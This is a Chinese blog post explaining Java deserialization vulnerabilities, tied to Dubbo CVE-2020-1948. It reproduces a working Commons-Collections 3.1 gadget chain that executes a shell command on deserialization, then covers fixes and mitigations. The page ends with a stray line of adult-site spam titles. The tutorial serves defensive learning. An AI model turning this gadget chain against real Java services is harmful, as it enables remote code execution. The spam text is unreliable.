<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Dubbo 高危漏洞!原來都是反序列化惹得禍

          共 10043字,需瀏覽 21分鐘

           ·

          2020-07-27 19:00

          前言

          這周收到外部合作同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默認(rèn)反序列化遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-1948)通告。

          按照文章披露的漏洞影響范圍,可以說是當(dāng)前所有的 Dubbo 的版本都有這個(gè)問題。

          無獨(dú)有偶,這周在 Github 自己的倉庫上推送幾行改動(dòng),不一會(huì)就收到 Github 安全提示,警告當(dāng)前項(xiàng)目存在安全漏洞CVE-2018-10237。

          可以看到這兩個(gè)漏洞都是利用反序列化進(jìn)行執(zhí)行惡意代碼,可能很多同學(xué)跟我當(dāng)初一樣,看到這個(gè)一臉懵逼。好端端的反序列化,怎么就能被惡意利用,用來執(zhí)行的惡意代碼?

          這篇文章我們就來聊聊反序列化漏洞,了解一下黑客是如何利用這個(gè)漏洞進(jìn)行攻擊。

          反序列化漏洞

          在了解反序列化漏洞之前,首先我們學(xué)習(xí)一下兩個(gè)基礎(chǔ)知識(shí)。

          Java 運(yùn)行外部命令

          Java 中有一個(gè)類 Runtime,我們可以使用這個(gè)類執(zhí)行執(zhí)行一些外部命令。

          下面例子中我們使用 Runtime 運(yùn)行打開系統(tǒng)的計(jì)算器軟件。

          //?僅適用macos?
          Runtime.getRuntime().exec("open?-a?Calculator?");

          有了這個(gè)類,惡意代碼就可以執(zhí)行外部命令,比如執(zhí)行一把 rm /*

          序列化/反序列化

          如果經(jīng)常使用 Dubbo,Java 序列化與反序列化應(yīng)該不會(huì)陌生。

          一個(gè)類通過實(shí)現(xiàn) Serializable接口,我們就可以將其序列化成二進(jìn)制數(shù)據(jù),進(jìn)而存儲(chǔ)在文件中,或者使用網(wǎng)絡(luò)傳輸。

          其他程序可以通過網(wǎng)絡(luò)接收,或者讀取文件的方式,讀取序列化的數(shù)據(jù),然后對其進(jìn)行反序列化,從而反向得到相應(yīng)的類的實(shí)例。

          下面的例子我們將 App 的對象進(jìn)行序列化,然后將數(shù)據(jù)保存到的文件中。后續(xù)再從文件中讀取序列化數(shù)據(jù),對其進(jìn)行反序列化得到 App 類的對象實(shí)例。

          public?class?App?implements?Serializable?{

          ????private?String?name;

          ????private?static?final?long?serialVersionUID?=?7683681352462061434L;


          ????private?void?readObject(java.io.ObjectInputStream?in)?throws?IOException,?ClassNotFoundException?{
          ????????in.defaultReadObject();
          ????????System.out.println("readObject?name?is?"+name);
          ????????Runtime.getRuntime().exec("open?-a?Calculator");
          ????}

          ????public?static?void?main(String[]?args)?throws?IOException,?ClassNotFoundException?{
          ????????App?app?=?new?App();
          ????????app.name?=?"程序通事";

          ????????FileOutputStream?fos?=?new?FileOutputStream("test.payload");
          ????????ObjectOutputStream?os?=?new?ObjectOutputStream(fos);
          ????????//writeObject()方法將Unsafe對象寫入object文件
          ????????os.writeObject(app);
          ????????os.close();
          ????????//從文件中反序列化obj對象
          ????????FileInputStream?fis?=?new?FileInputStream("test.payload");
          ????????ObjectInputStream?ois?=?new?ObjectInputStream(fis);
          ????????//恢復(fù)對象
          ????????App?objectFromDisk?=?(App)ois.readObject();
          ????????System.out.println("main?name?is?"+objectFromDisk.name);
          ????????ois.close();
          ????}

          執(zhí)行結(jié)果:

          readObject name is 程序通事
          main name is 程序通事

          并且成功打開了計(jì)算器程序。

          當(dāng)我們調(diào)用 ObjectInputStream#readObject讀取反序列化的數(shù)據(jù),如果對象內(nèi)實(shí)現(xiàn)了 readObject方法,這個(gè)方法將會(huì)被調(diào)用。

          源碼如下:


          反序列化漏洞執(zhí)行條件

          上面的例子中,我們在 readObject 方法內(nèi)主動(dòng)使用Runtime執(zhí)行外部命令。但是正常的情況下,我們肯定不會(huì)在 readObject寫上述代碼,除非是內(nèi)鬼 ̄□ ̄||

          如果可以找到一個(gè)對象,他的readObject方法可以執(zhí)行任意代碼,那么在反序列過程也會(huì)執(zhí)行對應(yīng)的代碼。我們只要將滿足上述條件的對象序列化之后發(fā)送給先相應(yīng) Java 程序,Java 程序讀取之后,進(jìn)行反序列化,就會(huì)執(zhí)行指定的代碼。

          為了使反序列化漏洞成功執(zhí)行需要滿足以下條件:

          1. Java 反序列化應(yīng)用中需要存在序列化使用的類,不然反序列化時(shí)將會(huì)拋出 ?ClassNotFoundException 異常。

          2. Java 反序列化對象的 readObject方法可以執(zhí)行任何代碼,沒有任何驗(yàn)證或者限制。

          引用一段網(wǎng)上的反序列化攻擊流程,來源:https://xz.aliyun.com/t/7031

          1. 客戶端構(gòu)造payload(有效載荷),并進(jìn)行一層層的封裝,完成最后的exp(exploit-利用代碼)

          2. exp發(fā)送到服務(wù)端,進(jìn)入一個(gè)服務(wù)端自主復(fù)寫(也可能是也有組件復(fù)寫)的readobject函數(shù),它會(huì)反序列化恢復(fù)我們構(gòu)造的exp去形成一個(gè)惡意的數(shù)據(jù)格式exp_1(剝?nèi)サ谝粚樱?/span>

          3. 這個(gè)惡意數(shù)據(jù)exp_1在接下來的處理流程(可能是在自主復(fù)寫的readobject中、也可能是在外面的邏輯中),會(huì)執(zhí)行一個(gè)exp_1這個(gè)惡意數(shù)據(jù)類的一個(gè)方法,在方法中會(huì)根據(jù)exp_1的內(nèi)容進(jìn)行函處理,從而一層層地剝?nèi)ィɑ蛘哒f變形、解析)我們exp_1變成exp_2、exp_3......

          4. 最后在一個(gè)可執(zhí)行任意命令的函數(shù)中執(zhí)行最后的payload,完成遠(yuǎn)程代碼執(zhí)行。


          Common-Collections

          下面我們以 Common-Collections 的存在反序列化漏洞為例,來復(fù)現(xiàn)反序列化攻擊流程。

          首先我們在應(yīng)用內(nèi)引入 Common-Collections 依賴,這里需要注意,我們需要引入 3.2.2 版本之前,之后的版本這個(gè)漏洞已經(jīng)被修復(fù)。


          ????commons-collections
          ????commons-collections
          ????3.1

          PS:下面的代碼只有在 JDK7 環(huán)境下執(zhí)行才能復(fù)現(xiàn)這個(gè)問題。

          首先我們需要明確,我們做一系列目的就是為了讓應(yīng)用程序成功執(zhí)行 Runtime.getRuntime().exec("open -a Calculator")。

          當(dāng)然我們沒辦法讓程序直接運(yùn)行上述語句,我們需要借助其他類,間接執(zhí)行。

          Common-Collections存在一個(gè) Transformer,可以將一個(gè)對象類型轉(zhuǎn)為另一個(gè)對象類型,相當(dāng)于 Java Stream 中的 map 函數(shù)。

          Transformer有幾個(gè)實(shí)現(xiàn)類:

          • ConstantTransformer

          • InvokerTransformer

          • ChainedTransformer

          其中 ConstantTransformer用于將對象轉(zhuǎn)為一個(gè)常量值,例如:

          Transformer?transformer?=?new?ConstantTransformer("程序通事");
          Object?transform?=?transformer.transform("樓下小黑哥");
          //?輸出對象為?程序通事
          System.out.println(transform);

          InvokerTransformer將會(huì)使用反射機(jī)制執(zhí)行指定方法,例如:

          Transformer?transformer?=?new?InvokerTransformer(
          ????????"append",
          ????????new?Class[]{String.class},
          ????????new?Object[]{"樓下小黑哥"}
          );
          StringBuilder?input=new?StringBuilder("程序通事-");
          //?反射執(zhí)行了?input.append("樓下小黑哥");
          Object?transform?=?transformer.transform(input);
          //?程序通事-樓下小黑哥
          System.out.println(transform);

          ChainedTransformer 需要傳入一個(gè) Transformer[]數(shù)組對象,使用責(zé)任鏈模式執(zhí)行的內(nèi)部 Transformer,例如:

          Transformer[]?transformers?=?new?Transformer[]{
          ????????new?ConstantTransformer(Runtime.getRuntime()),
          ????????new?InvokerTransformer(
          ????????????????"exec",
          ????????????????new?Class[]{String.class},?new?Object[]{"open?-a?Calculator"})
          };

          Transformer?chainTransformer?=?new?ChainedTransformer(transformers);
          chainTransformer.transform("任意對象值");

          通過 ChainedTransformer 鏈?zhǔn)綀?zhí)行 ConstantTransformer,InvokerTransformer邏輯,最后我們成功的運(yùn)行的 Runtime語句。

          不過上述的代碼存在一些問題,Runtime沒有繼承 Serializable接口,我們無法將其進(jìn)行序列化。

          如果對其進(jìn)行序列化程序?qū)?huì)拋出異常:

          我們需要改造以上代碼,使用 Runtime.class 經(jīng)過一系列的反射執(zhí)行:

          String[]?execArgs?=?new?String[]{"open?-a?Calculator"};

          final?Transformer[]?transformers?=?new?Transformer[]{
          ????????new?ConstantTransformer(Runtime.class),
          ????????new?InvokerTransformer(
          ????????????????"getMethod",
          ????????????????new?Class[]{String.class,?Class[].class},
          ????????????????new?Object[]{"getRuntime",?new?Class[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"invoke",
          ????????????????new?Class[]{Object.class,?Object[].class},
          ????????????????new?Object[]{null,?new?Object[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"exec",
          ????????????????new?Class[]{String.class},?execArgs),
          };

          剛接觸這塊的同學(xué)的應(yīng)該已經(jīng)看暈了吧,沒關(guān)系,我將上面的代碼翻譯一下正常的反射代碼一下:

          ((Runtime)?Runtime.class.
          ????????getMethod("getRuntime",?null).
          ????????invoke(null,?null)).
          ????????exec("open?-a?Calculator");

          TransformedMap

          接下來我們需要找到相關(guān)類,可以自動(dòng)調(diào)用Transformer內(nèi)部方法。

          Common-Collections內(nèi)有兩個(gè)類將會(huì)調(diào)用 Transformer

          • TransformedMap

          • LazyMap

          下面將會(huì)主要介紹 TransformedMap觸發(fā)方式,LazyMap觸發(fā)方式比較類似,感興趣的同學(xué)可以研究這個(gè)開源庫@ysoserial CommonsCollections1。

          Github 地址:https://github.com/frohoff/ysoserial

          TransformedMap 可以用來對 Map 進(jìn)行某種變換,底層原理實(shí)際上是使用傳入的 Transformer 進(jìn)行轉(zhuǎn)換。

          Transformer?transformer?=?new?ConstantTransformer("程序通事");

          Map?testMap?=?new?HashMap<>();
          testMap.put("a",?"A");
          //?只對?value?進(jìn)行轉(zhuǎn)換
          Map?decorate?=?TransformedMap.decorate(testMap,?null,?transformer);
          //?put?方法將會(huì)觸發(fā)調(diào)用?Transformer?內(nèi)部方法
          decorate.put("b",?"B");

          for?(Object?entry?:?decorate.entrySet())?{
          ????Map.Entry?temp?=?(Map.Entry)?entry;
          ????if?(temp.getKey().equals("a"))?{
          ????????//?Map.Entry?setValue?也會(huì)觸發(fā)?Transformer?內(nèi)部方法
          ????????temp.setValue("AAA");
          ????}
          }
          System.out.println(decorate);

          輸出結(jié)果為:

          {b=程序通事,?a=程序通事}

          AnnotationInvocationHandler

          上文中我們知道了,只要調(diào)用 TransformedMapput 方法,或者調(diào)用 Map.EntrysetValue方法就可以觸發(fā)我們設(shè)置的 ChainedTransformer,從而觸發(fā) Runtime 執(zhí)行外部命令。

          現(xiàn)在我們就需要找到一個(gè)可序列化的類,這個(gè)類正好實(shí)現(xiàn)了 readObject,且正好可以調(diào)用 Map put 的方法或者調(diào)用 Map.EntrysetValue

          Java 中有一個(gè)類 sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件。這個(gè)類構(gòu)造函數(shù)可以設(shè)置一個(gè) Map 變量,這下剛好可以把上面的 TransformedMap 設(shè)置進(jìn)去。

          不過不要高興的太早,這個(gè)類沒有 public 修飾符,默認(rèn)只有同一個(gè)包才可以使用。

          不過這點(diǎn)難度,跟上面一比,還真是輕松,我們可以通過反射獲取從而獲取這個(gè)類的實(shí)例。

          示例代碼如下:

          Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
          Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class);
          ctor.setAccessible(true);
          //?隨便使用一個(gè)注解
          Object?instance?=?ctor.newInstance(Target.class,?exMap);

          完整的序列化漏洞示例代碼如下 :

          String[]?execArgs?=?new?String[]{"open?-a?Calculator"};

          final?Transformer[]?transformers?=?new?Transformer[]{
          ????????new?ConstantTransformer(Runtime.class),
          ????????new?InvokerTransformer(
          ????????????????"getMethod",
          ????????????????new?Class[]{String.class,?Class[].class},
          ????????????????new?Object[]{"getRuntime",?new?Class[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"invoke",
          ????????????????new?Class[]{Object.class,?Object[].class},
          ????????????????new?Object[]{null,?new?Object[0]}
          ????????),
          ????????new?InvokerTransformer(
          ????????????????"exec",
          ????????????????new?Class[]{String.class},?execArgs),
          };
          //
          Transformer?transformerChain?=?new?ChainedTransformer(transformers);

          Map?tempMap?=?new?HashMap<>();
          //?tempMap?不能為空
          tempMap.put("value",?"you");

          Map?exMap?=?TransformedMap.decorate(tempMap,?null,?transformerChain);



          Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
          Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class);
          ctor.setAccessible(true);
          //?隨便使用一個(gè)注解
          Object?instance?=?ctor.newInstance(Target.class,?exMap);


          File?f?=?new?File("test.payload");
          ObjectOutputStream?oos?=?new?ObjectOutputStream(new?FileOutputStream(f));
          oos.writeObject(instance);
          oos.flush();
          oos.close();

          ObjectInputStream?ois?=?new?ObjectInputStream(new?FileInputStream(f));
          //?觸發(fā)代碼執(zhí)行
          Object?newObj?=?ois.readObject();
          ois.close();

          上面代碼中需要注意,tempMap需要一定不能為空,且 key 一定要是 value。那可能有的同學(xué)為什么一定要這樣設(shè)置?

          tempMap不能為空的原因是因?yàn)?readObject 方法內(nèi)需要遍歷內(nèi)部 Map.Entry.

          至于第二個(gè)問題,別問,問就是玄學(xué)~好吧,我也沒研究清楚--,有了解的小伙伴的留言一下

          最后總結(jié)一下這個(gè)反序列化漏洞代碼執(zhí)行鏈路如下:



          Common-Collections 漏洞修復(fù)方式

          在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的調(diào)用,從而使我們上面構(gòu)造的 AnnotationInvocationHandler+TransformedMap失效。

          另外 Common-Collections3.2.2 版本,對這些不安全的 Java 類序列化支持增加了開關(guān),默認(rèn)為關(guān)閉狀態(tài)。

          比如在 InvokerTransformer類中重寫 readObject,增相關(guān)判斷。如果沒有開啟不安全的類的序列化則會(huì)拋出UnsupportedOperationException異常


          Dubbo 反序列化漏洞

          Dubbo 反序列化漏洞原理與上面的類似,但是執(zhí)行的代碼攻擊鏈與上面完全不一樣,這里就不再復(fù)現(xiàn)的詳細(xì)的實(shí)現(xiàn)的方式。

          Dubbo 在 2020-06-22 日發(fā)布 2.7.7 版本,升級內(nèi)容名其中包括了這個(gè)反序列化漏洞的修復(fù)。不過從其他人發(fā)布的文章來看,2.7.7 版本的修復(fù)方式,只是初步改善了問題,不過并沒有根本上解決的這個(gè)問題。


          防護(hù)措施

          最后作為一名普通的開發(fā)者來說,我們自己來修復(fù)這種漏洞,實(shí)在不太現(xiàn)實(shí)。

          術(shù)業(yè)有專攻,這種專業(yè)的事,我們就交給個(gè)高的人來頂。

          我們需要做的事,就是了解的這些漏洞的一些基本原理,樹立的一定意識(shí)。

          其次我們需要了解一些基本的防護(hù)措施,做到一些基本的防御。

          如果碰到這類問題,我們及時(shí)需要關(guān)注官方的新的修復(fù)版本,盡早升級,比如 Common-Collections 版本升級。

          有些依賴 jar 包,升級還是方便,但是有些東西升級就比較麻煩了。就比如這次 Dubbo 來說,官方目前只放出的 Dubbo 2.7 版本的修復(fù)版本,如果我們需要升級,需要將版本直接升級到 Dubbo 2.7.7。

          如果你目前已經(jīng)在使用 Dubbo 2.7 版本,那么升級還是比較簡單。但是如果還在使用 Dubbo 2.6 以下版本的,那么就麻煩了,沒辦法直接升級。

          Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就比如包名變更,影響真的比較大。

          就拿我們系統(tǒng)來講,我們目前這套系統(tǒng),生產(chǎn)還在使用 JDK7。如果需要升級,我們首先需要升級 JDK。

          其次,我們目前大部分應(yīng)用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這么低。

          這部分應(yīng)用直接升級到 Dubbo 2.7 ,改動(dòng)其實(shí)非常大。另外有些基礎(chǔ)服務(wù),自從第一次部署之后,就再也沒有重新部署過。對于這類應(yīng)用還需要仔細(xì)評估。

          最后,我們有些應(yīng)用,自己實(shí)現(xiàn)了 Dubbo SPI,由于 Dubbo 2.7 版本的包路徑改動(dòng),這些 Dubbo SPI 相關(guān)包路徑也需要做出一些改動(dòng)。

          所以直接升級到 Dubbo 2.7 版本的,對于一些老系統(tǒng)來講,還真是一件比較麻煩的事。

          如果真的需要升級,不建議一次性全部升級,建議采用逐步升級替換的方式,慢慢將整個(gè)系統(tǒng)的內(nèi) Dubbo 版本的升級。

          所以這種情況下,短時(shí)間內(nèi)防御措施,可參考玄武實(shí)驗(yàn)室給出的方案:

          如果當(dāng)前 Dubbo 部署云上,那其實(shí)比較簡單,可以使用云廠商的提供的相關(guān)流量監(jiān)控產(chǎn)品,提前一步阻止漏洞的利用。

          幫助資料

          1. http://blog.nsfocus.net/deserialization/

          2. http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知識(shí)點(diǎn)整理/

          3. https://xz.aliyun.com/t/2041

          4. https://xz.aliyun.com/t/2028

          5. https://www.freebuf.com/vuls/241975.html

          6. http://rui0.cn/archives/1338

          7. http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html

          8. https://security.tencent.com/index.php/blog/msg/97

          9. JAVA反序列化漏洞完整過程分析與調(diào)試

          10. https://security.tencent.com/index.php/blog/msg/131

          11. https://paper.seebug.org/1264/#35



          有道無術(shù),術(shù)可成;有術(shù)無道,止于術(shù)

          歡迎大家關(guān)注Java之道公眾號


          好文章,我在看??

          瀏覽 26
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  麻豆成人免费视频在线观看 | 成人自拍无码 | 插插插色欲| 欧美肏逼网站 | 在线免费看黄色 |